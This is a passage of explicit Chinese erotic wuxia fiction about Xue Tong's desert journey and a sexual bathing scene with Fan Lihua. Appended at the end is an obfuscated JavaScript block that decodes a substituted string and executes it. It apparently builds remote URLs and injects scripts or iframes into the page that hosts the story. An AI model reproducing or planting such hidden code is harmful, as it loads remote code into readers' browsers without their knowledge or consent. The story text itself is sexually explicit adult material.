      樊梨花圣洁高雅的脸蛋泛起一层淡淡的迷雾,她被薛桐带来的天堂一般的美妙感受所俘虏,她知道自己已经深深陷入,再也不可能回头。被薛桐抓住圣女峰,不仅没有排斥之感,反倒迷醉不已,这是她跟了薛桐之后,心理最大的转变,从前的她,看到有男人对她露出垂涎之意,总是厌恶地将对方一击而杀,想不到,现在她居然开始享受被男人疼爱的感觉。

      「快点吃吧,我又烤好了。」

      薛桐温柔地说道。「嗯……」

      樊梨花享受来自薛桐的关爱,心中柔情顿生,原来男女之爱竟是如此美好,樊梨花感到一股足以影响她的性格的神秘力量,那就是来自薛桐的爱。

      罗通赶起前面的马车,几人继续前行,一路风沙似乎要结束,太阳照得马车上暖暖的,杨幂儿唱起西越国的歌,薛桐听了半天也没听明白。罗通赶着马车,渐渐进入西越国的国界,虽然到了春天,但这里的冰雪仍然没有消融,到处都是积雪和冰原,村镇一般都建在有温泉的地方,那里的冰雪早早消融,适合人类和动、植物生长。

      「呀!前面有村子!太好了!」

      罗通惊呼道,众人闻声,立刻从马车里探出头来,薛桐这些天非常郁闷,这一趟走的时间太长。算算日子,六人从寒江关出发到现在已经有十天。接近小村镇的时候,又是一个黄昏,窦仙童、杨幂儿一路上早就受不了!走这趟大漠,带的水虽然不少,却只能用于人和马的饮用,连洗脸的水都没有,而今终于到有水的地方,连洗操的机会都有了。

      「我要烧一大桶的水,然后躺在里面……我就不出来了!」

      杨幂儿裹着皮袍,瞇起眼睛憧憬进入村子之后的生活。

      「是啊,十天没洗澡,真受不了。」

      窦仙童皱着好看的弯眉,伸鼻子闻了闻身上的味道,忽然脸色一红,原来,她身上还留着中午跟薛桐疯狂之后的余味,那种淫靡的味道,她当然闻得出来。

      「咦?仙童,你脸红什么?不会想跟我和杨幂儿洗三人浴吧?呵呵。」

      薛桐看着她闻身上气味的模样,开口挑逗着她。

      「哼,就知道那档事……」

      窦仙童媚意横生地白了他一眼,拉着杨幂儿两人讨论洗澡的事情去了。薛桐浪笑一声,飞身跃下后面的马车,身影如闪电一般跃上前面马车,快速跳了进去。

      「前面有村庄了!」

      薛桐高兴地把消息告诉樊梨花。

      「哦。」

      樊梨花面色平静,冷艳脸上看不出任何情绪波动,似乎到了村子也引不起她太大的兴趣。这个女人情感太过麻木,是生活在幻影之中的人,对人间烟火似乎不感兴趣。

      「你不高兴吗?前面有人了!哈哈,走了十天,终于可以看到人了!」

      薛桐潇洒一笑,见她没有反应,纳闷地看着她。

      「有了人?难道不是敌人吗?」

      樊梨花冷静如昔,突然道:「到了。」

      她俏丽的身影,微一飘动,便下了马车,在前面冉冉而行,脚下像不沾地似的。

      村口站着三名大汉,看样子是村里的人,他 们怀着戒备的神色,看着马车下来的六人。三名大汉的衣着相当简单,都用布包着头,类似阿拉伯人的打扮,衣服是一块由布整成的大大棉袍,上面油渍斑斑,看来一个冬天都没洗过,脸色黝黑得简直像是非洲黑人,只有眼白和牙齿发白。其中一名大汉打了呼哨,刺耳的声音,在空气之中传出好远。

      「他们是在传警讯。」

      杨幂儿对于西越国村民的习俗当然清楚,她向薛桐解释了一声,当即转身缓步上前,叽哩咕噜跟那三人说了一阵子的话,三人露出惊讶神色,似乎有些不知所措,看样子也是将信将疑。

      「我告诉他们,我是西越国的杨幂儿公主,让他们不用害怕。」

      杨幂儿向薛桐等人解释道。

      「可是,你看他们的样子,似乎根本不相信你的话啊。」

      薛桐指着三名大汉说道。

      「他们……也许我离开得太久,他们担心我是敌人冒充的吧。」

      杨幂儿不确定地说道。

      「那……这里会有人认识你吗?」

      薛桐这回真的担心了,如果对方把自己当成入侵的敌人,恐怕双方就要开打,开打结果自然会有人伤亡,到时候,事情可就不好收拾了。

      「认识我的人应该都在雪城,哥哥那里肯定有人认识我,只是这里……好像只是雪城周围的一座小村子。」

      杨幂儿也有些无奈,如果这里真的没人认识她,不知道会是什么结果。

      「有人过来了。」

      窦仙童提醒道。

      「但愿不是糊涂人。」

      薛桐嘟囔道。 眼一看,这次过来的人足有十几人,为首一人,身上棉袍跟其他人一比非常乾净,但要是跟樊梨花比,樊梨花即使十天没洗过的棉袍也比那个人要乾净得多。

      杨幂儿走上前去,冲为首的高个子竖起单掌:「我是杨幂儿公主,你们村子应该属于雪城地界。我哥哥杨霄就是镇守雪城的城主。」

      「呃……」

      为首的高个子身材健壮,目光如鹰,他仔细上下打量杨幂儿半天,惊讶中又有怀疑,杨幂儿身上的皮袍足以表明她的身份,可是,如果是敌人派来的奸细,也照样能穿这样的皮袍。高个子也学着杨幂儿的样子,竖掌在胸,微一躬身,客气地说道:「我是这个村子的村长,叫哈佛,尊敬的公主,我们愿意为你效劳。」

      「我们今天要在这里住一夜,另外给我们準备一点洗澡水。」

      杨幂儿吩咐说。

      哈佛村长让村民们 来几个大大的木桶,看起来,这些木桶是村民平常用来盛装饮用水,这次被几个女人当作浴桶使用,不知他们以后还要不要用木桶装饮用水。

      杨幂儿公主来到仙泉村,仙泉村的男女老少群情沸腾,许多人挤着来看公主的模样。薛桐他们带来的两辆豪华马车,每一辆都有两间房子那么大,外面雕饰的花纹相当精緻,仙泉村的村民把马车当作女神的神宫,一个个虔诚地跪拜之后,这才慢慢离开。

      马车里,三个木桶已经就位,其中一个木桶放在樊梨花居住的马车,另外两个则放在第二辆马车,两辆马车都停在仙泉湖旁边靠近仙泉的地方,目的当然是取仙泉水方便。

      入夜之后,薛桐再次烤好了狼肉串,大家吃完,薛桐来到仙泉前,伸手试了试温度,他估计大约有五十度,于是取来木桶,让罗通、罗仁两人往马车里的大木桶里面装水,配上仙泉湖里的水,把温度调节到略高于人体的体温,而后把罗脸两人赶出去,要他们四处随意活动,做好两辆马车的警戒。三女早已经迫不及待,见罗通两人离开,迅速 除去衣物,跳入大木桶中,如美人鱼游在仙泉水中,浸透她们三万六千个毛孔。

      樊梨花的寒冰气,有清理身上秽物的奇妙效用,就算在漫天的风沙中生活数天,仍然能保持身体的洁净。而且以她的功力还可以防止风沙的侵袭,也因此,她整个人总是洁净得像个仙子。不过,泡在温水的感觉也让她十分怀念,现在的她泡在仙泉水里面,瞇起一双美眸,被仙泉水滋润的玉手泛出迷人的湿气,抚上她柔顺的秀发,轻轻撩起,秀髮披散开来,如一张美丽的黑缎子。玉臂轻舒,水声微响,肌肤只露出柔肩和前胸,嫩白如暖玉,细腻如白瓷,好一幅仙子出浴图。

      薛桐一掀车帘就进来了,看到樊梨花洗浴时的绝美风姿,不由得呆了一下,驻足观望,口水从嘴角滴下都没有感觉。樊梨花当然发觉了他,她舒展了身体,喝道:「看什么看?还没看够!」

      「啊……梨花,你不知道啊,你真是太美了!真是人间的仙子啊!我的女神。」

      薛桐感叹连连,凑上前来,像猎狗似地闻了闻木桶旁边,「啊!这么香,真是迷死人不偿命呢。」

      「注意你的身份。」

      樊梨花忽然道。

      「身份?我能有什么身份啊?」

      薛桐涎着脸,伸手轻轻帮她束起一头秀发,手法极度温柔。

      「嗯哼……」

      樊梨花在木桶的水中放了一张小凳子,此时坐在上面,伸了个懒腰,水声一响,胸前一对傲人的胸脯居然浮出水面!薛桐差点把鼻血喷了出来,樊梨花的身材太棒,难得的是,她的皮肤因为常年在冰雪之中练功,已经适应恶劣的天气,冰寒气可以在身周建起一道防护气罩,将她细嫩的肌肤与外界的恶劣天气隔绝开来。

      「你现在可是我的僕人,难道你忘记了?」

      樊梨花湿滑的柔荑,分别抚在左右乳之上……薛桐觉得血液上涌,直冲脑门,「咕噜——」

      薛桐咽了一口口水,抚弄着她秀发的手,居然有些颤抖。

      「那个……」

      薛桐的嘴唇髮乾,不得不舔了舔,「我既然是梨山仙子的僕人……就让我帮您洗澡吧,我美丽的主人。」

      薛桐淫蕩地舀起水,往樊梨花的肩膀上轻轻拨去,「哗啦——」

      仙泉水一洒而下,碰到她线条柔美的香肩当即碎成无数的水滴,灯光照耀之下,变成绚丽水花,光华四闪,有如万颗宝石。薛桐的大手抚上樊梨花的双肩,轻轻揉搓,樊梨花享受地闭上美眸,鼻息渐渐粗重。薛桐知道她已经情动,双手便往下揉搓而去,到了她的胸前,薛桐当然要特别照顾那对饱满高挺的乳峰,他的大手在上面搓来搓去,似乎总也洗不完。

      樊梨花当然知道他的心思,小情郎喜欢她的这对宝贝,她当然也从心底觉得高兴,被他揉搓之下,自己也是十分享受。樊梨花见他搓得太久了,不由得睁开眼睛:「你……到后面帮我搓背吧。」

      樊梨花对薛桐的戒备早已经完全消除,现在已经把薛桐当作终身伴侣。

      「哦。」

      薛桐咽了嚥口水,听话地来到她的后面,大手在她的背上揉搓,灯光之下,薛桐大手搓过之处,起了四道红痕,再搓之下,红痕错乱交杂,她柔嫩的肌肤真是不堪揉搓,越是这样,薛桐反而搓得越是起劲。

      「这个……你站起来,该洗下面了吧。」

      薛桐虽然有数次跟她疯狂的经验,却还是对她近乎完美的身体感到垂涎不已,此时强忍心脏狂跳,轻轻往她身上泼着水。「嗯……」

      樊梨花也是芳心狂跳,她虽然不只一次在薛桐面前展现自己的娇躯,但这次是在自己洗澡的时候,而且,薛桐那双不老实的手,可是会搓弄自己的任何部位!

      樊梨花强忍着娇羞,双手按住桶边,咬咬银牙,这才站了起来,哗啦一声水响,泛着水气、白瓷般的美人儿就出现在薛桐眼前。身材真是前凸后翘,乳房硕大柔美,还有几滴晶莹的水珠正在滴下;娇臀更是分作浑圆的两瓣,水波蕩漾之中,现出柔美的线条,最吸引人的是那道幽深的股沟,彷彿能让薛桐陷进去。薛桐上前撩水,撩上她浑圆的美臀,当即水花四溅,白皙肌肤和美丽水花相映成趣,美不胜收。薛桐玩得挺尽兴,樊梨花却不干了:「你快一点,一会儿……再玩。」

      樊梨花想起跟薛桐疯狂的事情,不由得酥痒难当,她觉得全身没有力气,软软地只想靠在薛桐身上。

      「嘿嘿,你的身体太美了,我想帮你洗一辈子的澡呢。」

      薛桐轻拍她丰腴的美臀,颤出一道诱人的臀波……最终樊梨花还是坚决拒绝薛桐要帮她洗前面的请求,自己草草洗完前面,薛桐已经帮她洗完后面,樊梨花觉得终于解脱,迅速 爬出木桶,裹上一床棉被,红着脸道:「薛桐,你……你快点儿洗。」

      「哦。」

      薛桐脱了衣服,跳进桶中三两下就洗完澡,爬到床上,见樊梨花的脸上带着两抹娇美的红霞,有如一颗熟透的大苹果,不由得亲了亲,两人抱在一块……一个时辰之后,两人欢乐完毕,薛桐亲了亲樊梨花无瑕的俏脸,披上单衣步出马车,沙漠的夜色显得非常清亮,月光如水,照射在柔软的沙地之上。只是天气仍然寒冷,薛桐虽然已经寒暑不侵,却仍然能够感受到一丝丝凉意。

      村子里的村民多数已经睡去,罗通两人,居然自己找了间房子住下,晚上不再回来,据说那边条件还不错,当然也是哈佛村长所安排。
    !function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();